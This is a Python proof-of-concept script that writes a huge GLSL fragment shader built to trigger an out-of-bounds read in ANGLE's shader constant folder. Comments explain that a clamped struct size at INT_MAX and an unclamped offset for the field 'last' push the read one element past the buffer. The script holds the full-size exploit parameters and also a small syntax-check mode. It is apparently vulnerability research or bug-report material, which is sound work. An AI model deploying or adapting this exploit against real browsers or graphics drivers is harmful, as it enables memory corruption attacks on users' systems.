#!/usr/bin/env python3
"""
Generate a GLSL ES 3.00 fragment shader that triggers an OOB read in ANGLE's
constant folder (TIntermBinary::getConstantValue / EOpIndexDirectStruct).

The struct L3's true element count is INT_MAX+1 but
TFieldListCollection::calculateObjectSize() clamps it to INT_MAX, while the
per-field offset for `.last` is computed additively (un-clamped) and lands one
TConstantUnion past the INT_MAX-element backing buffer.

Parameters below can be scaled down (--small) to produce a syntactically
identical but tiny shader for sanity-checking the grammar without the 30+ GB
working set.
"""
import argparse

# Full-size parameters that drive the un-clamped per-field offset to INT_MAX+1.
#   L1 = struct { float a[L1_ARR]; }                       size = 16383
#   L2 = struct { L1 f0 .. f<L2_FIELDS-1>; }               size = 16383*16383 = 268,402,689
#   L3 = struct { L2 g0..g7; L1 h0..h15; float pad[8]; float last; }
#        unclamped size = 8*268,402,689 + 16*16,383 + 8 + 1 = 2,147,483,649
#        clamped   size = INT_MAX = 2,147,483,647
#   offset of `last` = unclamped_size - 1 = 2,147,483,648 = INT_MAX + 1
L1_ARR    = 16383
L2_FIELDS = 16383
L3_G      = 8      # number of L2 fields in L3
L3_H      = 16     # number of L1 fields in L3
PAD       = 8      # float pad[PAD]

def gen(l1_arr, l2_fields, l3_g, l3_h, pad):
    out = []
    out.append("#version 300 es\n")
    out.append("precision highp float;\n")

    # --- L1 ------------------------------------------------------------------
    out.append("struct L1{float a[%d];};\n" % l1_arr)

    # const L1 c1 = L1(float[N](0.,0.,...));
    zeros = ",".join(["0."] * l1_arr)
    out.append("const L1 c1=L1(float[%d](%s));\n" % (l1_arr, zeros))

    # --- L2 ------------------------------------------------------------------
    out.append("struct L2{")
    out.append("".join("L1 f%d;" % i for i in range(l2_fields)))
    out.append("};\n")

    # --- L3 ------------------------------------------------------------------
    out.append("struct L3{")
    out.append("".join("L2 g%d;" % i for i in range(l3_g)))
    out.append("".join("L1 h%d;" % i for i in range(l3_h)))
    out.append("float pad[%d];float last;};\n" % pad)

    # --- main ---------------------------------------------------------------
    l2_ctor = "L2(" + ",".join(["c1"] * l2_fields) + ")"
    pad_ctor = "float[%d](%s)" % (pad, ",".join(["0."] * pad))
    l3_args = ",".join([l2_ctor] * l3_g + ["c1"] * l3_h + [pad_ctor, "1.0"])

    out.append("out vec4 c;\n")
    out.append("void main(){\n")
    out.append("c=vec4(L3(%s).last);\n" % l3_args)
    out.append("}\n")
    return "".join(out)


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--small", action="store_true",
                    help="emit a tiny syntax-check shader instead of the real one")
    ap.add_argument("-o", "--out", default="poc.frag")
    args = ap.parse_args()

    if args.small:
        src = gen(l1_arr=4, l2_fields=3, l3_g=2, l3_h=2, pad=2)
    else:
        src = gen(L1_ARR, L2_FIELDS, L3_G, L3_H, PAD)

    with open(args.out, "w") as f:
        f.write(src)
    print("wrote %s (%d bytes)" % (args.out, len(src)))


if __name__ == "__main__":
    main()
